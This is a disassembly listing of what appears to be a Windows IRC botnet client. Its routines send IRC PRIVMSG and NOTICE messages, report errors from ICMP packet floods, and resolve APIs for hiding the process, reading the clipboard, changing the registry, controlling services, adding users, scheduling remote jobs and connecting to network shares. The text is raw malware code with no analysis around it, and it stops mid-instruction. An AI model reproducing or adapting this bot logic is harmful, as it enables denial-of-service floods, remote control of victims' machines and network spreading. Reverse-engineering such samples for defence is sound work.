sub_404249+231j push [ebp+var_4] call dword_4335AC call dword_433558 push eax push [ebp+arg_0] lea eax, [ebp+var_1B8] push eax push offset aIcmpErrorSendi ; "[ICMP]: Error sending packets to IP: %s"... lea eax, [ebp+var_3BC] push 200h push eax call sub_412E0D add esp, 18h cmp [ebp+var_24], edi jnz short loc_404579 push edi push [ebp+var_28] lea eax, [ebp+var_3BC] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_4045DD add esp, 14h loc_404579: ; CODE XREF: sub_404249+30Ej lea eax, [ebp+var_3BC] push eax call sub_401C33 push [ebp+var_38] call sub_4111AE pop ecx pop ecx push edi jmp short loc_40451B sub_404249 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404592 proc near ; CODE XREF: sub_40751F+40p ; sub_4078FA+1BBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax push [ebp+arg_4] lea eax, [ebp+var_200] push 200h push eax call sub_412E64 lea eax, [ebp+var_200] add esp, 10h lea edx, [eax+1] loc_4045BF: ; CODE XREF: sub_404592+32j mov cl, [eax] inc eax test cl, cl jnz short loc_4045BF push 0 sub eax, edx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_433534 leave retn sub_404592 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045DD proc near ; CODE XREF: sub_401000+B2p ; sub_4010CA+61p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_4045F8 mov edi, offset aPrivmsg ; "PRIVMSG" loc_4045F8: ; CODE XREF: sub_4045DD+14j mov eax, edi lea edx, [eax+1] loc_4045FD: ; CODE XREF: sub_4045DD+25j mov cl, [eax] inc eax test cl, cl jnz short loc_4045FD sub eax, edx mov esi, eax mov eax, [ebp+arg_4] lea ecx, [eax+1] loc_40460E: ; CODE XREF: sub_4045DD+36j mov dl, [eax] inc eax test dl, dl jnz short loc_40460E push [ebp+arg_8] sub eax, ecx mov ecx, 1FAh sub ecx, eax push offset aS_1 ; "%s" sub ecx, esi push ecx lea eax, [ebp+var_400] push eax call sub_412E0D lea eax, [ebp+var_400] push eax push [ebp+arg_4] lea eax, [ebp+var_200] push edi push offset aSSS ; "%s %s :%s\r\n" push eax call sub_412BB5 add esp, 24h lea eax, [ebp+var_200] pop edi lea ecx, [eax+1] pop esi loc_40465F: ; CODE XREF: sub_4045DD+87j mov dl, [eax] inc eax test dl, dl jnz short loc_40465F push 0 sub eax, ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_433534 cmp [ebp+arg_10], 0 jz short locret_40468C push 0FAh call ds:dword_41F000 locret_40468C: ; CODE XREF: sub_4045DD+A2j leave retn sub_4045DD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40468E proc near ; CODE XREF: sub_40D1EF+4Bp push ebx push ebp mov ebp, ds:dword_41F078 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, ds:dword_41F074 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_4047AE push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_433478, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_433490, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4334EC, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_433450, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4334B8, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_43349C, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_43353C, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_43342C, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4334C0, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4334E4, eax call esi cmp dword_433478, ebx mov dword_433548, eax jz short loc_40478C cmp dword_433490, ebx jz short loc_40478C cmp dword_4334EC, ebx jz short loc_40478C cmp dword_433450, ebx jz short loc_40478C cmp dword_43349C, ebx jz short loc_40478C cmp dword_43353C, ebx jz short loc_40478C cmp dword_43342C, ebx jz short loc_40478C cmp dword_4334C0, ebx jz short loc_40478C cmp dword_4334E4, ebx jz short loc_40478C cmp eax, ebx jnz short loc_404796 loc_40478C: ; CODE XREF: sub_40468E+B8j ; sub_40468E+C0j ... mov dword_4335F0, 1 loc_404796: ; CODE XREF: sub_40468E+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_43359C, eax jz short loc_4047C3 push 1 push ebx call eax jmp short loc_4047C3 ; --------------------------------------------------------------------------- loc_4047AE: ; CODE XREF: sub_40468E+1Dj call ds:dword_41F008 mov dword_4335F4, eax mov dword_4335F0, 1 loc_4047C3: ; CODE XREF: sub_40468E+117j ; sub_40468E+11Ej push offset aUser32_dll ; "user32.dll" call ds:dword_41F070 mov edi, eax cmp edi, ebx jz loc_40487E push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_433560, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4334F8, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_433434, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_433498, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_43344C, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4335CC, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_433430, eax call esi cmp dword_433560, ebx mov dword_433538, eax jz short loc_404889 cmp dword_4334F8, ebx jz short loc_404889 cmp dword_433434, ebx jz short loc_404889 cmp dword_433498, ebx jz short loc_404889 cmp dword_43344C, ebx jz short loc_404889 cmp dword_4335CC, ebx jz short loc_404889 cmp dword_433430, ebx jz short loc_404889 cmp eax, ebx jnz short loc_404893 jmp short loc_404889 ; --------------------------------------------------------------------------- loc_40487E: ; CODE XREF: sub_40468E+144j call ds:dword_41F008 mov dword_4335FC, eax loc_404889: ; CODE XREF: sub_40468E+1B8j ; sub_40468E+1C0j ... mov dword_4335F8, 1 loc_404893: ; CODE XREF: sub_40468E+1ECj push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_404A2E push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4335C8, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4334E8, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_433484, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_433460, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4334DC, eax call esi cmp dword_4335C8, ebx mov dword_43357C, eax jz short loc_40491E cmp dword_4334E8, ebx jz short loc_40491E cmp dword_433484, ebx jz short loc_40491E cmp dword_433460, ebx jz short loc_40491E cmp dword_4334DC, ebx jz short loc_40491E cmp eax, ebx jnz short loc_404928 loc_40491E: ; CODE XREF: sub_40468E+26Aj ; sub_40468E+272j ... mov dword_433600, 1 loc_404928: ; CODE XREF: sub_40468E+28Ej push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4335D4, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4335BC, eax call esi cmp dword_4335D4, ebx mov dword_433508, eax jz short loc_404963 cmp dword_4335BC, ebx jz short loc_404963 cmp eax, ebx jnz short loc_40496D loc_404963: ; CODE XREF: sub_40468E+2C7j ; sub_40468E+2CFj mov dword_433600, 1 loc_40496D: ; CODE XREF: sub_40468E+2D3j push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_43355C, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4335D8, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_433564, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_433580, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_433494, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4334D0, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_43356C, eax call esi cmp dword_43355C, ebx mov dword_433598, eax jz short loc_404A11 cmp dword_4335D8, ebx jz short loc_404A11 cmp dword_433564, ebx jz short loc_404A11 cmp dword_433580, ebx jz short loc_404A11 cmp dword_433494, ebx jz short loc_404A11 cmp dword_4334D0, ebx jz short loc_404A11 cmp dword_43356C, ebx jz short loc_404A11 cmp eax, ebx jnz short loc_404A1B loc_404A11: ; CODE XREF: sub_40468E+34Dj ; sub_40468E+355j ... mov dword_433600, 1 loc_404A1B: ; CODE XREF: sub_40468E+381j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_433530, eax jnz short loc_404A43 jmp short loc_404A39 ; --------------------------------------------------------------------------- loc_404A2E: ; CODE XREF: sub_40468E+210j call ds:dword_41F008 mov dword_433604, eax loc_404A39: ; CODE XREF: sub_40468E+39Ej mov dword_433600, 1 loc_404A43: ; CODE XREF: sub_40468E+39Cj push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_404B0F push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4335DC, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4335B0, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_433518, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_433510, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_433554, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_43343C, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_433528, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4334CC, eax call esi cmp dword_4335DC, ebx mov dword_43351C, eax jz short loc_404B1A cmp dword_4335B0, ebx jz short loc_404B1A cmp dword_433518, ebx jz short loc_404B1A cmp dword_433510, ebx jz short loc_404B1A cmp dword_433554, ebx jz short loc_404B1A cmp dword_43343C, ebx jz short loc_404B1A cmp dword_433528, ebx jz short loc_404B1A cmp dword_4334CC, ebx jz short loc_404B1A cmp eax, ebx jnz short loc_404B24 jmp short loc_404B1A ; --------------------------------------------------------------------------- loc_404B0F: ; CODE XREF: sub_40468E+3C0j call ds:dword_41F008 mov dword_43360C, eax loc_404B1A: ; CODE XREF: sub_40468E+441j ; sub_40468E+449j ... mov dword_433608, 1 loc_404B24: ; CODE XREF: sub_40468E+47Dj mov ebp, ds:dword_41F070 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_404DE0 push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4334B0, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_433424, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_43352C, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4334F4, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_433574, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_433558, eax call esi push offset aSocket ; "socket" push edi mov dword_4335B8, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4334A0, eax call esi push offset aConnect ; "connect" push edi mov dword_433444, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_433458, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_433520, eax call esi push offset aHtons ; "htons" push edi mov dword_433514, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4335EC, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4335C4, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_433594, eax call esi push offset aSend ; "send" push edi mov dword_433570, eax call esi push offset aSendto ; "sendto" push edi mov dword_433534, eax call esi push offset aRecv ; "recv" push edi mov dword_433470, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_433414, eax call esi mov dword_433438, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_433578, eax call esi push offset aListen ; "listen" push edi mov dword_433544, eax call esi push offset aAccept ; "accept" push edi mov dword_4335C0, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_433464, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4334BC, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_433418, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4335B4, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_433500, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_433590, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4334E0, eax call esi cmp dword_4334B0, ebx mov dword_4335AC, eax jz loc_404DEB cmp dword_433424, ebx jz loc_404DEB cmp dword_43352C, ebx jz loc_404DEB cmp dword_433574, ebx jz loc_404DEB cmp dword_433558, ebx jz loc_404DEB cmp dword_4335B8, ebx jz loc_404DEB cmp dword_4334A0, ebx jz loc_404DEB cmp dword_433444, ebx jz loc_404DEB cmp dword_433458, ebx jz loc_404DEB cmp dword_433520, ebx jz loc_404DEB cmp dword_433514, ebx jz loc_404DEB cmp dword_4335EC, ebx jz loc_404DEB cmp dword_4335C4, ebx jz loc_404DEB cmp dword_433594, ebx jz short loc_404DEB cmp dword_433534, ebx jz short loc_404DEB cmp dword_433470, ebx jz short loc_404DEB cmp dword_433414, ebx jz short loc_404DEB cmp dword_433438, ebx jz short loc_404DEB cmp dword_433578, ebx jz short loc_404DEB cmp dword_433544, ebx jz short loc_404DEB cmp dword_4335C0, ebx jz short loc_404DEB cmp dword_433464, ebx jz short loc_404DEB cmp dword_4334BC, ebx jz short loc_404DEB cmp dword_433418, ebx jz short loc_404DEB cmp dword_4335B4, ebx jz short loc_404DEB cmp dword_433500, ebx jz short loc_404DEB cmp dword_433590, ebx jz short loc_404DEB cmp eax, ebx jnz short loc_404DF5 jmp short loc_404DEB ; --------------------------------------------------------------------------- loc_404DE0: ; CODE XREF: sub_40468E+4A7j call ds:dword_41F008 mov dword_433614, eax loc_404DEB: ; CODE XREF: sub_40468E+646j ; sub_40468E+652j ... mov dword_433610, 1 loc_404DF5: ; CODE XREF: sub_40468E+74Ej push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_404EFA push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_433428, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4335E8, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4334C8, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4335E4, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4334D4, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_433448, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4334A8, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_433420, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_43354C, eax call esi cmp dword_433428, ebx mov ecx, dword_433448 mov dword_4334FC, eax jz short loc_404ED6 cmp dword_4335E8, ebx jz short loc_404ED6 cmp dword_4334C8, ebx jz short loc_404ED6 cmp dword_4335E4, ebx jz short loc_404ED6 cmp dword_4334D4, ebx jz short loc_404ED6 cmp ecx, ebx jz short loc_404ED6 cmp dword_4334A8, ebx jz short loc_404ED6 cmp dword_433420, ebx jz short loc_404ED6 cmp dword_43354C, ebx jz short loc_404ED6 cmp eax, ebx jnz short loc_404EE0 loc_404ED6: ; CODE XREF: sub_40468E+806j ; sub_40468E+80Ej ... mov dword_433618, 1 loc_404EE0: ; CODE XREF: sub_40468E+846j cmp ecx, ebx jz short loc_404F15 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4335E0, eax jnz short loc_404F15 jmp short loc_404F0F ; --------------------------------------------------------------------------- loc_404EFA: ; CODE XREF: sub_40468E+772j call ds:dword_41F008 mov dword_43361C, eax mov dword_433618, 1 loc_404F0F: ; CODE XREF: sub_40468E+86Aj mov dword_4335E0, ebx loc_404F15: ; CODE XREF: sub_40468E+854j ; sub_40468E+868j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_404F5F push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4334F0, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_433524, eax call esi cmp dword_4334F0, ebx mov dword_433588, eax jz short loc_404F6A cmp dword_433524, ebx jz short loc_404F6A cmp eax, ebx jnz short loc_404F74 jmp short loc_404F6A ; --------------------------------------------------------------------------- loc_404F5F: ; CODE XREF: sub_40468E+892j call ds:dword_41F008 mov dword_433624, eax loc_404F6A: ; CODE XREF: sub_40468E+8C1j ; sub_40468E+8C9j ... mov dword_433620, 1 loc_404F74: ; CODE XREF: sub_40468E+8CDj push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40506A push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_433488, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4334A4, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4335A0, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_433454, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4334D8, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_43341C, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_43346C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_433568, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_433480, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_43348C, eax call esi cmp dword_433488, ebx mov dword_4334B4, eax jz short loc_405075 cmp dword_4334A4, ebx jz short loc_405075 cmp dword_4335A0, ebx jz short loc_405075 cmp dword_433454, ebx jz short loc_405075 cmp dword_4334D8, ebx jz short loc_405075 cmp dword_43341C, ebx jz short loc_405075 cmp dword_43346C, ebx jz short loc_405075 cmp dword_433568, ebx jz short loc_405075 cmp dword_433480, ebx jz short loc_405075 cmp dword_43348C, ebx jz short loc_405075 cmp eax, ebx jnz short loc_40507F jmp short loc_405075 ; --------------------------------------------------------------------------- loc_40506A: ; CODE XREF: sub_40468E+8F1j call ds:dword_41F008 mov dword_43362C, eax loc_405075: ; CODE XREF: sub_40468E+98Cj ; sub_40468E+994j ... mov dword_433628, 1 loc_40507F: ; CODE XREF: sub_40468E+9D8j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_4050B4 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_433584, eax call esi cmp dword_433584, ebx mov dword_433504, eax jz short loc_4050BF cmp eax, ebx jnz short loc_4050C9 jmp short loc_4050BF ; --------------------------------------------------------------------------- loc_4050B4: ; CODE XREF: sub_40468E+9FCj call ds:dword_41F008 mov dword_433634, eax loc_4050BF: ; CODE XREF: sub_40468E+A1Ej ; sub_40468E+A24j mov dword_433630, 1 loc_4050C9: ; CODE XREF: sub_40468E+A22j push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_4050FE push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4334AC, eax call esi cmp dword_4334AC, ebx mov dword_43350C, eax jz short loc_405109 cmp eax, ebx jnz short loc_405113 jmp short loc_405109 ; --------------------------------------------------------------------------- loc_4050FE: ; CODE XREF: sub_40468E+A46j call ds:dword_41F008 mov dword_43363C, eax loc_405109: ; CODE XREF: sub_40468E+A68j ; sub_40468E+A6Ej mov dword_433638, 1 loc_405113: ; CODE XREF: sub_40468E+A6Cj push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_405172 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_433540, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4335D0, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_43347C, eax call esi cmp dword_433540, ebx mov dword_433440, eax jz short loc_40517D cmp dword_4335D0, ebx jz short loc_40517D cmp dword_43347C, ebx jz short loc_40517D cmp eax, ebx jnz short loc_405187 jmp short loc_40517D ; --------------------------------------------------------------------------- loc_405172: ; CODE XREF: sub_40468E+A90j call ds:dword_41F008 mov dword_433644, eax loc_40517D: ; CODE XREF: sub_40468E+ACCj ; sub_40468E+AD4j ... mov dword_433640, 1 loc_405187: ; CODE XREF: sub_40468E+AE0j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_4051BC push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4335A8, eax call esi cmp dword_4335A8, ebx mov dword_433474, eax jz short loc_4051C7 cmp eax, ebx jnz short loc_4051D1 jmp short loc_4051C7 ; --------------------------------------------------------------------------- loc_4051BC: ; CODE XREF: sub_40468E+B04j call ds:dword_41F008 mov dword_43364C, eax loc_4051C7: ; CODE XREF: sub_40468E+B26j ; sub_40468E+B2Cj mov dword_433648, 1 loc_4051D1: ; CODE XREF: sub_40468E+B2Aj push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40525A push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_43358C, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_43345C, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4335A4, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4334C4, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_433550, eax call esi cmp dword_43358C, ebx mov dword_433468, eax jz short loc_405265 cmp dword_43345C, ebx jz short loc_405265 cmp dword_4335A4, ebx jz short loc_405265 cmp dword_4334C4, ebx jz short loc_405265 cmp dword_433550, ebx jz short loc_405265 cmp eax, ebx jnz short loc_40526F jmp short loc_405265 ; --------------------------------------------------------------------------- loc_40525A: ; CODE XREF: sub_40468E+B4Ej call ds:dword_41F008 mov dword_433654, eax loc_405265: ; CODE XREF: sub_40468E+BA4j ; sub_40468E+BACj ... mov dword_433650, 1 loc_40526F: ; CODE XREF: sub_40468E+BC8j pop edi pop esi xor eax, eax pop ebp inc eax pop ebx retn sub_40468E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405277 proc near ; CODE XREF: sub_4078FA+424Bp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4335F0, esi push edi mov edi, [ebp+arg_8] jz short loc_4052BF push dword_4335F4 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_412BB5 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4045DD add esp, 20h loc_4052BF: ; CODE XREF: sub_405277+1Aj cmp dword_4335F8, esi jz short loc_4052F3 push dword_4335FC lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_412BB5 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4045DD add esp, 20h loc_4052F3: ; CODE XREF: sub_405277+4Ej cmp dword_433600, esi jz short loc_405327 push dword_433604 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_412BB5 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4045DD add esp, 20h loc_405327: ; CODE XREF: sub_405277+82j cmp dword_433608, esi jz short loc_40535B push dword_43360C lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_412BB5 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4045DD add esp, 20h loc_40535B: ; CODE XREF: sub_405277+B6j cmp dword_433610, esi jz short loc_40538F push dword_433614 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_412BB5 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4045DD add esp, 20h loc_40538F: ; CODE XREF: sub_405277+EAj cmp dword_433618, esi jz short loc_4053C3 push dword_43361C lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_412BB5 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4045DD add esp, 20h loc_4053C3: ; CODE XREF: sub_405277+11Ej cmp dword_433620, esi jz short loc_4053F7 push dword_433624 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_412BB5 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4045DD add esp, 20h loc_4053F7: ; CODE XREF: sub_405277+152j cmp dword_433628, esi jz short loc_40542B push dword_43362C lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_412BB5 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4045DD add esp, 20h loc_40542B: ; CODE XREF: sub_405277+186j cmp dword_433630, esi jz short loc_40545F push dword_433634 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_412BB5 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4045DD add esp, 20h loc_40545F: ; CODE XREF: sub_405277+1BAj cmp dword_433638, esi jz short loc_405493 push dword_43363C lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_412BB5 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4045DD add esp, 20h loc_405493: ; CODE XREF: sub_405277+1EEj cmp dword_433640, esi jz short loc_4054C7 push dword_433644 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_412BB5 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4045DD add esp, 20h loc_4054C7: ; CODE XREF: sub_405277+222j cmp dword_433648, esi jz short loc_4054FB push dword_43364C lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_412BB5 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4045DD add esp, 20h loc_4054FB: ; CODE XREF: sub_405277+256j cmp dword_433650, esi jz short loc_40552F push dword_433654 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_412BB5 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4045DD add esp, 20h loc_40552F: ; CODE XREF: sub_405277+28Aj lea eax, [ebp+var_200] push offset aMainDllTestCom ; "[MAIN]: DLL test complete." push eax call sub_412BB5 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40555C push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4045DD add esp, 14h loc_40555C: ; CODE XREF: sub_405277+2CEj lea eax, [ebp+var_200] push eax call sub_401C33 pop ecx pop edi pop esi pop ebx leave retn sub_405277 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40556E proc near ; CODE XREF: sub_4078FA+A6Ap ; sub_4078FA+A9Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz loc_405645 mov eax, [ebp+arg_4] cmp eax, esi jz loc_405645 cmp [ebp+arg_8], esi jz loc_405645 cmp byte ptr [eax], 0 jz loc_405645 push ebx push edi call sub_41E867 mov ebx, eax test ebx, ebx pop ecx jz loc_405640 push [ebp+arg_4] push edi call sub_413920 mov esi, eax test esi, esi pop ecx pop ecx jz short loc_405639 sub eax, edi push eax push edi push ebx call sub_412C40 mov eax, ebx sub eax, edi add esp, 0Ch and byte ptr [eax+esi], 0 mov eax, 